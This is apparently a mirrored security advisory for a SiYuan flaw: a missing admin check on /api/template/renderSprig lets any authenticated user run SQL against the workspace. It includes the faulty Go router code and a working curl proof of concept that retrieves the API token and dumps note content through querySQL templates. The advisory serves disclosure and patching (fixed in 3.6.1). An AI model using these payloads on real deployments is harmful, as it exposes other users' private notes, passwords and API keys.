GHSA-4J3X-HHG2-FM2X
SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4J3X-HHG2-FM2X divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
### Summary
`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
### Details
File: `kernel/api/router.go`
Every sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.
### PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123Exploit:
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'Confirmed response on v3.6.0:
{"code":0,"msg":"","data":"[{\"n\":0}]"}Full note dump:
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'### Impact
Any authenticated user (API token holder, Publish Service Reader) can:
- Dump all note content and document hierarchy from the workspace
- Exfiltrate tags, custom attributes, block IDs, and timestamps
- Search notes for stored passwords, API keys, or personal data
- Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/siyuan-note/siyuan/kernel |
Corregida | 3.6.1 | — | — |
3.6.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-32704https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2xhttps://github.com/siyuan-note/siyuan/issues/17209https://github.com/siyuan-note/siyuan/commit/5859cc222f2016874f778dd8f4ebafaab1cf7e0https://github.com/siyuan-note/siyuanLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
